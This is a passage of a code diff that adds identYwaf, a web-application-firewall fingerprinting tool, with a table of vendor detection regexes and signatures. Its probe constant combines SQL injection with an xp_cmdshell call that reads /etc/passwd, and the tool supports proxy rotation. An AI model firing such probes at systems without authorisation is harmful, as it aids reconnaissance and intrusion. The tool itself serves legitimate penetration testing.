"81ca:RVZXum60OEhCWapBYKYPk4JzWOtohM4IiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC" + ] + }, + "siteground": { + "company": "SiteGround", + "name": "SiteGround", + "regex": "The page you are trying to access is restricted due to a security rule|Our system thinks you might be a robot!|/.well-known/captcha/", + "signatures": [ + "da25:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c3qA5chW1XKTC" + ] + }, + "siteguard": { + "company": "JP-Secure", + "name": "SiteGuard", + "regex": "Powered by SiteGuard|The server refuse to browse the page", + "signatures": [ + "6e49:RVZXum61OElCWapBYKcPk4JzWOtohM4JiUYMr2RWg1qQJbX3uhdOnthtOj+hX7AB16FcPhJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC", + "9839:RVZXum61OElCWapBYKcPk4JzWOtohM4JiUYMr2RWg1qQJbX3uhdOnthtOj+hX7AB16FcPhJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq6c36A4chS1XaTC", + "bc2d:RVZXum61OElCWapBYKcPk4JzWOtohM4JiUYMr2RWg1qQJLX3uhdOnthtOj+hX7AB16FcPhJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC" + ] + }, + "sitelock": { + "company": "SiteLock", + "name": "TrueShield", + "regex": "SiteLock Incident ID|SiteLock will remember you and will not show this page again|<span class=\\\"value INCIDENT_ID\\\">", + "signatures": [], + "note": "Uses Incapsula (Reference: https://www.whitefirdesign.com/blog/2016/11/08/more-evidence-that-sitelocks-trueshield-web-application-firewall-is-really-incapsulas-waf/)" + }, + "sonicwall": { + "company": "Dell", + "name": "SonicWALL", + "regex": "Server: SonicWALL|(?s)<title>Web Site Blocked.+?nsa_banner", + "signatures": [ + "f85c:RVZXum61OElCWKpAYKYPkoJyWOpohM4IiUYMr2RWg1qQJLX2uhZOnthsOj+hX7AA16FcPxJPdLoXo2tLaK99nui7c4RmkgI2FZjxtDtAeq+c36A5chW1XaTD" + ] + }, + "sophos": { + "company": "Sophos", + "name": "UTM Web Protection", + "regex": "Powered by UTM Web Protection", + "signatures": [] + }, + "squarespace": { + "company": "Squarespace", + "name": "Squarespace", + "regex": "(?s) @ .+?BRICK-50", + "signatures": [ + "b012:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c3qA5chW1XaTC", + "4381:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhZOn9hsOj6hXrAA16BcPhJOdLoXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c3qA5chW1XaTC" + ] + }, + "stackpath": { + "company": "StackPath", + "name": "StackPath", + "regex": "You performed an action that triggered the service and blocked your request", + "signatures": [ + "5ab0:RVZXum60OEhCWKpAYKYPkoJzWOpohM4JiUYMr2RWg1uQJbX2uhdOn9hsOj+hXrAA16FcPhJOdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTD", + "7e0a:RVZXum60OEhCWKpAYKYPkoJzWOpohM4JiUYMr2RWg1uQJbX2uhdOn9htOj+hXrAA16FcPxJOdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTD" + ] + }, + "sucuri": { + "company": "Sucuri", + "name": "Sucuri", + "regex": "Access Denied - Sucuri Website Firewall|Sucuri WebSite Firewall - CloudProxy - Access Denied|Questions\\?.+cloudproxy@sucuri\\.net", + "signatures": [ + "60a9:RVZXum61OElCWapAYKYPk4JzWOpohM4JiUYMr2RXg1uQJbX3uhdOn9htOj+hXrAB16FcPxJPdLsXo2tLaK99n+i7c4RmkwI2FZjxtDtAeq+c36A5chW1XaTC" + ] + }, + "tencent": { + "company": "Tencent Cloud Computing", + "name": "Tencent Cloud", + "regex": "waf\\.tencent-cloud\\.com", + "signatures": [ + "3f82:RVZXum60OEhCWapBYKcPk4JzWOpohM4IiUYMr2RXg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99nui7c4RmkgI2FZjxtDtAeq+c36A5chW1XaTD" + ] + }, + "tmg": { + "company": "Microsoft", + "name": "Forefront Threat Management Gateway", + "regex": "", + "signatures": [ + "4d00:RVZXum60OEhCWKpAYKYPkoJyWOpohM4JiUYMr2RWg1qQJLX3uhdOnthsOj+hX7AB16BcPhJPdLoXomtKaK59nui6c4RmkgI2FZjxtDtAeq+c3qA4chS1XaTC" + ] + }, + "urlmaster": { + "company": "iFinity/DotNetNuke", + "name": "Url Master SecurityCheck", + "regex": "UrlRewriteModule\\.SecurityCheck|X-UrlMaster-(Debug|Ex):", + "signatures": [ + "ddd8:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59nui6c4RmkgI2FZjxtDtAeq6c3qA4chS1XaTC" + ] + }, + "urlscan": { + "company": "Microsoft", + "name": "UrlScan", + "regex": "Rejected-By-UrlScan", + "signatures": [ + "0294:RVdXum60OEhCWKpAYKYPk4JyWOpohM4IiUYMrmRXg1qQJLX2uhdOn9htOj+hXrAB16FcPxJOdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c3qA4chS1XKTC" + ] + }, + "vfw": { + "company": "OWASP", + "name": "Varnish Firewall", + "regex": "Request rejected by xVarnish-WAF", + "signatures": [] + }, + "virusdie": { + "company": "Virusdie LLC", + "name": "Virusdie", + "regex": "Virusdie|http://cdn\\.virusdie\\.ru/splash/firewallstop\\.png|403 Naughty, not nice!", + "signatures": [ + "26fa:RVZXum60OEhCWKpAYKYPkoJyWOpohM4JiUcMr2RXg1qQJLX3uhZOnthsOj+hXrAA16FcPhJOdLoXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTD" + ] + }, + "wallarm": { + "company": "Wallarm", + "name": "Wallarm", + "regex": "Server: nginx-wallarm", + "signatures": [ + "c02b:RVZXu261OElCWapBYKcPk4JzWOpohM4JiUcMr2RWg1uQJbX3uhdOnthsOj+hXrAB16FcPxJOdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC" + ] + }, + "watchguard": { + "company": "WatchGuard Technologies", + "name": "WatchGuard", + "regex": "Server: WatchGuard|Request denied by WatchGuard Firewall", + "signatures": [ + "4f4f:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMr2RWg1uQJLX2uhZOnthsOj+hXrAA16FcPhJOdLoXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTC", + "2a3c:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMr2RXg1uQJLX2uhZOnthsOj+hX7AA16FcPhJOdLoXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTC", + "aa64:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMr2RXg1uQJLX2uhZOnthsOj+hX7AA16FcPhJOdLoXomtKaK59nui7c4RmkgI3FZjxtDtAeq+c3qA4chW1XaTC" + ] + }, + "webarx": { + "company": "WebARX", + "name": "WebARX", + "regex": "/wp-content/plugins/webarx/includes/|This request has been blocked by.+?>WebARX<", + "signatures": [] + }, + "webknight": { + "company": "AQTRONIX", + "name": "WebKnight", + "regex": "WebKnight Application Firewall Alert|AQTRONIX WebKnight|HTTP Error 999\\.0 - AW Special Error", + "signatures": [ + "80f9:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJbX2uhdOnthtOj+hXrAB16FcPhJPdLoXomtKaK59nui6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC", + "73e5:RVZXum60OEhCWKpAYKYPk4JyWOtohM4JiUcMrmRXg1uQJbX3uhZOnthsOj6hX7AA16BcPhJOdLoXomtKaK59nui6c4RmkgI2FZjxtDtAeq6c3qA4chS1XaTC", + "d0f0:RVdXum60OEhCWKpAYKYPk4JyWOtohM4JiUcMrmRXg1uQJbX3uhdOn9htOj+hX7AA16FcPxJOdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c3qA4chS1XKTC", + "f0c3:RVZXum61OElCWKpAYKYPk4JyWOtohM4JiUcMr2RXg1uQJbX3uhZOnthsOj6hX7AA16BcPhJOdLoXo2tKaK59n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC", + "6763:RVZXum61OElCWKpAYKYPk4JzWOtohM4JiUcMr2RXg1uQJbX3uhdOn9htOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC", + "7701:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJbX2uhdOn9htOj+hXrAB16FcPxJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC", + "902b:RVdXum60OEhCWKpAYKYPk4JyWOpohM4IiUYMrmRXg1qQJbX2uhdOn9htOj+hXrAB16FcPxJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC", + "4d4d:RVdXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJbX2uhdOn9htOj+hXrAB16FcPxJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c3qA4chS1XKTC", + "17a8:RVZXum60OEhCWKpAYKYPkoJyWOpohM4JiUcMrmRXg1qQJbX3uhdOnthtOj+hXrAB16FcPhJPdLoXomtKaK59nui6c4RmkgI2FZjxtDtAeq+c3qA4chS1XKTC" + ] + }, + "webseal": { + "company": "IBM", + "name": "WebSEAL", + "regex": "(?i)Server: WebSEAL|This is a WebSEAL error message template file|The Access Manager WebSEAL server received an invalid HTTP request", + "signatures": [ + "0338:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhZOnthtOj+hXrAA16FcPhJOdLoXomtKaK59nui6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC" + ] + }, + "webtotem": { + "company": "WebTotem", + "name": "WebTotem", + "regex": "The current request was blocked by.+?>WebTotem<", + "signatures": [] + }, + "wordfence": { + "company": "Feedjit", + "name": "Wordfence", + "regex": "Generated by Wordfence|This response was generated by Wordfence|broke one of the Wordfence (advanced )?blocking rules|: wfWAF|/plugins/wordfence", + "signatures": [ + "d04a:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRXg1qQJLX2uhdOnthtOj+hXrAB16FcPxJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq6c3qA4chW1XaTC", + "26b1:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRXg1qQJLX2uhdOnthtOj+hXrAA16FcPxJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq6c3qA4chW1XaTC", + "09cf:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRXg1qQJLX2uhdOnthtOj+hXrAB16FcPxJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtBeq6c3qA4chW1XaTC", + "1834:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMr2RXg1uQJLX3uhdOnthtOj+hXrAB16FcPxJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq6c36A4chW1XaTC", + "d38c:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRXg1qQJLX2uhdOnthtOj+hXrAB16FcPxJPdLsXomtKaK59nui7c4RmkwI3FZjxtDtAeq6c3qA4chW1XaTC", + "d5bb:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRXg1uQJLX2uhdOnthtOj+hXrAB16FcPxJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq6c3qA4chW1XaTC", + "3f1c:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRXg1qQJLX2uhdOnthtOj+hXrAB16FcPxJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTD", + "dbfe:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRXg1qQJLX2uhdOnthtOj+hXrAB16FcPxJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq6c3qA5chW1XaTC", + "5b85:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMr2RXg1uQJLX2uhdOnthtOj+hXrAB16FcPxJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c3qA5chW1XaTD", + "f806:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRXg1qQJLX2uhdOnthtOj+hX7AB16FcPxJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq6c3qA4chW1XaTC", + "0f0d:RVZXum61OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRXg1qQJLX2uhdOnthtOj+hXrAB16FcPxJPdLsXomtKaK59nui7c4RmkwI3FZjxtDtAeq6c3qA4chW1XaTC", + "b13e:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRXg1qQJbX3uhdOnthtOj+hXrAB16FcPxJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq6c3qA4chW1XaTC", + "40eb:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRXg1qQJLX2uhdOnthtOj+hXrAB16BcPxJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq6c3qA4chW1XaTC", + "93cd:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRXg1qQJLX2uhdOnthtOj+hXrAB16FcPxJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC", + "ba7d:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRXg1qQJLX2uhdOnthtOj+hXrAB16FcPxJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq6c3qA4chW1XKTC" + ] + }, + "wts": { + "company": "WTS", + "name": "WTS", + "regex": "Server: wts/|>WTS\\-WAF", + "signatures": [ + "e94f:RVZXum61OElCWapAYKYPkoJzWOpohM4JiUcMr2RXg1uQJLX3uhdOnthtOj+hX7AB16FcPhJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c3qA4chW1XKTC", + "12ce:RVZXum61OElCWapAYKYPkoJzWOpohM4IiUYMr2RWg1uQJLX3uhdOnthtOj+hX7AB16FcPhJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c3qA4chW1XKTC" + ] + }, + "yundun": { + "company": "Yundun", + "name": "Yundun", + "regex": "Blocked by YUNDUN Cloud WAF|yundun\\.com/yd_http_error/", + "signatures": [ + "4853:RVZXum61OEhCWapBYKcPk4JzWOtohM4JiUcMr2RXg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI2FZjxtDtAeq+c36A5chW1XaTC" + ] + }, + "yunsuo": { + "company": "Yunsuo", + "name": "Yunsuo", + "regex": "yunsuo_session|403", + "signatures": [ + "a8fb:RVdXu260OEhCWapBYKcPk4JzWOpohM4JiUcMr2RXg1uQJbX3uhdOn9htOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4VmkwI2FZnxtDtBeq+c36A4chW1XaTD", + "ba3d:RVdXu260OEhCWapBYKcPk4JzWOpohM4JiUcMr2RXg1uQJbX3uhdOn9htOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4VmkwI2FZjxtDtAeq+c36A4chW1XaTD" + ] + } + } +} diff --git a/thirdparty/identywaf/identYwaf.py b/thirdparty/identywaf/identYwaf.py new file mode 100755 index 00000000000..3a9148bc7f0 --- /dev/null +++ b/thirdparty/identywaf/identYwaf.py @@ -0,0 +1,585 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2019 Miroslav Stampar (@stamparm), MIT +See the file 'LICENSE' for copying permission + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. +""" + +from __future__ import print_function + +import base64 +import codecs +import difflib +import json +import locale +import optparse +import os +import random +import re +import ssl +import socket +import string +import struct +import subprocess +import sys +import time +import zlib + +if sys.version_info >= (3, 0): + import http.cookiejar + import http.client as httplib + import urllib.request + + IS_WIN = subprocess._mswindows + + build_opener = urllib.request.build_opener + install_opener = urllib.request.install_opener + quote = urllib.parse.quote + urlopen = urllib.request.urlopen + CookieJar = http.cookiejar.CookieJar + ProxyHandler = urllib.request.ProxyHandler + Request = urllib.request.Request + HTTPCookieProcessor = urllib.request.HTTPCookieProcessor + + xrange = range +else: + import cookielib + import httplib + import urllib + import urllib2 + + IS_WIN = subprocess.mswindows + + build_opener = urllib2.build_opener + install_opener = urllib2.install_opener + quote = urllib.quote + urlopen = urllib2.urlopen + CookieJar = cookielib.CookieJar + ProxyHandler = urllib2.ProxyHandler + Request = urllib2.Request + HTTPCookieProcessor = urllib2.HTTPCookieProcessor + + # Reference: http://blog.mathieu-leplatre.info/python-utf-8-print-fails-when-redirecting-stdout.html + sys.stdout = codecs.getwriter(locale.getpreferredencoding())(sys.stdout) + +NAME = "identYwaf" +VERSION = "1.0.108" +BANNER = """ + ` __ __ ` + ____ ___ ___ ____ ______ `| T T` __ __ ____ _____ +l j| \ / _]| \ | T`| | |`| T__T T / T| __| + | T | \ / [_ | _ Yl_j l_j`| ~ |`| | | |Y o || l_ + | | | D YY _]| | | | | `|___ |`| | | || || _| + j l | || [_ | | | | | `| !` \ / | | || ] +|____jl_____jl_____jl__j__j l__j `l____/ ` \_/\_/ l__j__jl__j (%s)%s""".strip("\n") % (VERSION, "\n") + +RAW, TEXT, HTTPCODE, SERVER, TITLE, HTML, URL = xrange(7) +COOKIE, UA, REFERER = "Cookie", "User-Agent", "Referer" +GET, POST = "GET", "POST" +GENERIC_PROTECTION_KEYWORDS = ("rejected", "forbidden", "suspicious", "malicious", "captcha", "invalid", "your ip", "please contact", "terminated", "protected", "unauthorized", "blocked", "protection", "incident", "denied", "detected", "dangerous", "firewall", "fw_block", "unusual activity", "bad request", "request id", "injection", "permission", "not acceptable", "security policy", "security reasons") +GENERIC_PROTECTION_REGEX = r"(?i)\b(%s)\b" +GENERIC_ERROR_MESSAGE_REGEX = r"\b[A-Z][\w, '-]*(protected by|security|unauthorized|detected|attack|error|rejected|allowed|suspicious|automated|blocked|invalid|denied|permission)[\w, '!-]*" +WAF_RECOGNITION_REGEX = None +HEURISTIC_PAYLOAD = "1 AND 1=1 UNION ALL SELECT 1,NULL,'',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#" # Reference: https://github.com/sqlmapproject/sqlmap/blob/master/lib/core/settings.py +PAYLOADS = [] +SIGNATURES = {} +DATA_JSON = {} +DATA_JSON_FILE = os.path.join(os.path.dirname(__file__), "data.json") +MAX_HELP_OPTION_LENGTH = 18 +IS_TTY = sys.stdout.isatty() +COLORIZE = not IS_WIN and IS_TTY +LEVEL_COLORS = {"o": "\033[00;94m", "x": "\033[00;91m", "!": "\033[00;93m", "i": "\033[00;95m", "=": "\033[00;93m", "+": "\033[00;92m", "-": "\033[00;91m"} +VERIFY_OK_INTERVAL = 5 +VERIFY_RETRY_TIMES = 3 +MIN_MATCH_PARTIAL = 5 +DEFAULTS = {"timeout": 10} +MAX_MATCHES = 5 +QUICK_RATIO_THRESHOLD = 0.2 +MAX_JS_CHALLENGE_SNAPLEN = 120 +ENCODING_TRANSLATIONS = {"windows-874": "iso-8859-11", "utf-8859-1": "utf8", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8", "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "iso-8859-0": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk", "windows-31j": "cp932", "en": "us"} # Reference: https://github.com/sqlmapproject/sqlmap/blob/master/lib/request/basic.py +PROXY_TESTING_PAGE = "https://myexternalip.com/raw" + +if COLORIZE: + for _ in re.findall(r"`.+?`", BANNER): + BANNER = BANNER.replace(_, "\033[01;92m%s\033[00;49m" % _.strip('`')) + for _ in re.findall(r" [Do] ", BANNER): + BANNER = BANNER.replace(_, "\033[01;93m%s\033[00;49m" % _.strip('`')) + BANNER = re.sub(VERSION, r"\033[01;91m%s\033[00;49m" % VERSION, BANNER) +else: + BANNER = BANNER.replace('`', "") + +_ = random.randint(20, 64) +DEFAULT_USER_AGENT = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; %s; rv:%d.0) Gecko/20100101 Firefox/%d.0" % (NAME, _, _) +HEADERS = {"User-Agent": DEFAULT_USER_AGENT, "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "identity", "Cache-Control": "max-age=0"} + +original = None +options = None +intrusive = None +heuristic = None +chained = False +locked_code = None +locked_regex = None +non_blind = set() +seen = set() +blocked = [] +servers = set() +codes = set() +proxies = list() +proxies_index = 0 + +_exit = exit + +def exit(message=None): + if message: + print("%s%s" % (message, ' ' * 20)) + _exit(1) + +def retrieve(url, data=None): + global proxies_index + + retval = {} + + if proxies: + while True: + try: + opener = build_opener(ProxyHandler({"http": proxies[proxies_index], "https": proxies[proxies_index]})) + install_opener(opener) + proxies_index = (proxies_index + 1) % len(proxies) + urlopen(PROXY_TESTING_PAGE).read() + except KeyboardInterrupt: + raise + except: + pass + else: + break + + try: + req = Request("".join(url[_].replace(' ', "%20") if _ > url.find('?') else url[_] for _ in xrange(len(url))), data, HEADERS) + resp = urlopen(req, timeout=options.timeout) + retval[URL] = resp.url + retval[HTML] = resp.read() + retval[HTTPCODE] = resp.code + retval[RAW] = "%s %d %s\n%s\n%s" % (httplib.HTTPConnection._http_vsn_str, retval[HTTPCODE], resp.msg, str(resp.headers), retval[HTML]) + except Exception as ex: + retval[URL] = getattr(ex, "url", url) + retval[HTTPCODE] = getattr(ex, "code", None) + try: + retval[HTML] = ex.read() if hasattr(ex, "read") else getattr(ex, "msg", str(ex)) + except: + retval[HTML] = "" + retval[RAW] = "%s %s %s\n%s\n%s" % (httplib.HTTPConnection._http_vsn_str, retval[HTTPCODE] or "", getattr(ex, "msg", ""), str(ex.headers) if hasattr(ex, "headers") else "", retval[HTML]) + + for encoding in re.findall(r"charset=[\s\"']?([\w-]+)", retval[RAW])[::-1] + ["utf8"]: + encoding = ENCODING_TRANSLATIONS.get(encoding, encoding) + try: + retval[HTML] = retval[HTML].decode(encoding, errors="replace") + break + except: + pass + + match = re.search(r"\s*(?P<result>[^<]+?)\s*", retval[HTML], re.I) + retval[TITLE] = match.group("result") if match and "result" in match.groupdict() else None + retval[TEXT] = re.sub(r"(?si)|||<[^>]+>|\s+", " ", retval[HTML]) + match = re.search(r"(?im)^Server: (.+)", retval[RAW]) + retval[SERVER] = match.group(1).strip() if match else "" + return retval + +def calc_hash(value, binary=True): + value = value.encode("utf8") if not isinstance(value, bytes) else value + result = zlib.crc32(value) & 0xffff + if binary: + result = struct.pack(">H", result) + return result + +def single_print(message): + if message not in seen: + print(message) + seen.add(message) + +def check_payload(payload, protection_regex=GENERIC_PROTECTION_REGEX % '|'.join(GENERIC_PROTECTION_KEYWORDS)): + global chained + global heuristic + global intrusive + global locked_code + global locked_regex + + time.sleep(options.delay or 0) + if options.post: + _ = "%s=%s" % ("".join(random.sample(string.ascii_letters, 3)), quote(payload)) + intrusive = retrieve(options.url, _) + else: + _ = "%s%s%s=%s" % (options.url, '?' if '?' not in options.url else '&', "".join(random.sample(string.ascii_letters, 3)), quote(payload)) + intrusive = retrieve(_) + + if options.lock and not payload.isdigit(): + if payload == HEURISTIC_PAYLOAD: + match = re.search(re.sub(r"Server:|Protected by", "".join(random.sample(string.ascii_letters, 6)), WAF_RECOGNITION_REGEX, flags=re.I), intrusive[RAW] or "") + if match: + result = True + + for _ in match.groupdict(): + if match.group(_): + waf = re.sub(r"\Awaf_", "", _) + locked_regex = DATA_JSON["wafs"][waf]["regex"] + locked_code = intrusive[HTTPCODE] + break + else: + result = False + + if not result: + exit(colorize("[x] can't lock results to a non-blind match")) + else: + result = re.search(locked_regex, intrusive[RAW]) is not None and locked_code == intrusive[HTTPCODE] + elif options.string: + result = options.string in (intrusive[RAW] or "") + elif options.code: + result = options.code == intrusive[HTTPCODE] + else: + result = intrusive[HTTPCODE] != original[HTTPCODE] or (intrusive[HTTPCODE] != 200 and intrusive[TITLE] != original[TITLE]) or (re.search(protection_regex, intrusive[HTML]) is not None and re.search(protection_regex, original[HTML]) is None) or (difflib.SequenceMatcher(a=original[HTML] or "", b=intrusive[HTML] or "").quick_ratio() < QUICK_RATIO_THRESHOLD) + + if not payload.isdigit(): + if result: + if options.debug: + print("\r---%s" % (40 * ' ')) + print(payload) + print(intrusive[HTTPCODE], intrusive[RAW]) + print("---") + + if intrusive[SERVER]: + servers.add(re.sub(r"\s*\(.+\)\Z", "", intrusive[SERVER])) + if len(servers) > 1: + chained = True + single_print(colorize("[!] multiple (reactive) rejection HTTP 'Server' headers detected (%s)" % ', '.join("'%s'" % _ for _ in sorted(servers)))) + + if intrusive[HTTPCODE]: + codes.add(intrusive[HTTPCODE]) + if len(codes) > 1: + chained = True + single_print(colorize("[!] multiple (reactive) rejection HTTP codes detected (%s)" % ', '.join("%s" % _ for _ in sorted(codes)))) + + if heuristic and heuristic[HTML] and intrusive[HTML] and difflib.SequenceMatcher(a=heuristic[HTML] or "", b=intrusive[HTML] or "").quick_ratio() < QUICK_RATIO_THRESHOLD: + chained = True + single_print(colorize("[!] multiple (reactive) rejection HTML responses detected")) + + if payload == HEURISTIC_PAYLOAD: + heuristic = intrusive + + return result + +def colorize(message): + if COLORIZE: + message = re.sub(r"\[(.)\]", lambda match: "[%s%s\033[00;49m]" % (LEVEL_COLORS[match.group(1)], match.group(1)), message) + + if any(_ in message for _ in ("rejected summary", "challenge detected")): + for match in re.finditer(r"[^\w]'([^)]+)'" if "rejected summary" in message else r"\('(.+)'\)", message): + message = message.replace("'%s'" % match.group(1), "'\033[37m%s\033[00;49m'" % match.group(1), 1) + else: + for match in re.finditer(r"[^\w]'([^']+)'", message): + message = message.replace("'%s'" % match.group(1), "'\033[37m%s\033[00;49m'" % match.group(1), 1) + + if "blind match" in message: + for match in re.finditer(r"\(((\d+)%)\)", message): + message = message.replace(match.group(1), "\033[%dm%s\033[00;49m" % (92 if int(match.group(2)) >= 95 else (93 if int(match.group(2)) > 80 else 90), match.group(1))) + + if "hardness" in message: + for match in re.finditer(r"\(((\d+)%)\)", message): + message = message.replace(match.group(1), "\033[%dm%s\033[00;49m" % (95 if " insane " in message else (91 if " hard " in message else (93 if " moderate " in message else 92)), match.group(1))) + + return message + +def parse_args(): + global options + + parser = optparse.OptionParser(version=VERSION) + parser.add_option("--delay", dest="delay", type=int, help="Delay (sec) between tests (default: 0)") + parser.add_option("--timeout", dest="timeout", type=int, help="Response timeout (sec) (default: 10)") + parser.add_option("--proxy", dest="proxy", help="HTTP proxy address (e.g. \"http://127.0.0.1:8080\")") + parser.add_option("--proxy-file", dest="proxy_file", help="Load (rotating) HTTP(s) proxy list from a file") + parser.add_option("--random-agent", dest="random_agent", action="store_true", help="Use random HTTP User-Agent header value") + parser.add_option("--code", dest="code", type=int, help="Expected HTTP code in rejected responses") + parser.add_option("--string", dest="string", help="Expected string in rejected responses") + parser.add_option("--post", dest="post", action="store_true", help="Use POST body for sending payloads") + parser.add_option("--debug", dest="debug", action="store_true", help=optparse.SUPPRESS_HELP) + parser.add_option("--fast", dest="fast", action="store_true", help=optparse.SUPPRESS_HELP) + parser.add_option("--lock", dest="lock", action="store_true", help=optparse.SUPPRESS_HELP) + + # Dirty hack(s) for help message + def _(self, *args): + retval = parser.formatter._format_option_strings(*args) + if len(retval) > MAX_HELP_OPTION_LENGTH: + retval = ("%%.%ds.." % (MAX_HELP_OPTION_LENGTH - parser.formatter.indent_increment)) % retval + return retval + + parser.usage = "python %s " % parser.usage + parser.formatter._format_option_strings = parser.formatter.format_option_strings + parser.formatter.format_option_strings = type(parser.formatter.format_option_strings)(_, parser) + + for _ in ("-h", "--version"): + option = parser.get_option(_) + option.help = option.help.capitalize() + + try: + options, _ = parser.parse_args() + except SystemExit: + raise + + if len(sys.argv) > 1: + url = sys.argv[-1] + if not url.startswith("http"): + url = "http://%s" % url + options.url = url + else: + parser.print_help() + raise SystemExit + + for key in DEFAULTS: + if getattr(options, key, None) is None: + setattr(options, key, DEFAULTS[key]) + +def load_data(): + global WAF_RECOGNITION_REGEX + + if os.path.isfile(DATA_JSON_FILE): + with codecs.open(DATA_JSON_FILE, "rb", encoding="utf8") as f: + DATA_JSON.update(json.load(f)) + + WAF_RECOGNITION_REGEX = "" + for waf in DATA_JSON["wafs"]: + if DATA_JSON["wafs"][waf]["regex"]: + WAF_RECOGNITION_REGEX += "%s|" % ("(?P%s)" % (waf, DATA_JSON["wafs"][waf]["regex"])) + for signature in DATA_JSON["wafs"][waf]["signatures"]: + SIGNATURES[signature] = waf + WAF_RECOGNITION_REGEX = WAF_RECOGNITION_REGEX.strip('|') + + flags = "".join(set(_ for _ in "".join(re.findall(r"\(\?(\w+)\)", WAF_RECOGNITION_REGEX)))) + WAF_RECOGNITION_REGEX = "(?%s)%s" % (flags, re.sub(r"\(\?\w+\)", "", WAF_RECOGNITION_REGEX)) # patch for "DeprecationWarning: Flags not at the start of the expression" in Python3.7 + else: + exit(colorize("[x] file '%s' is missing" % DATA_JSON_FILE)) + +def init(): + 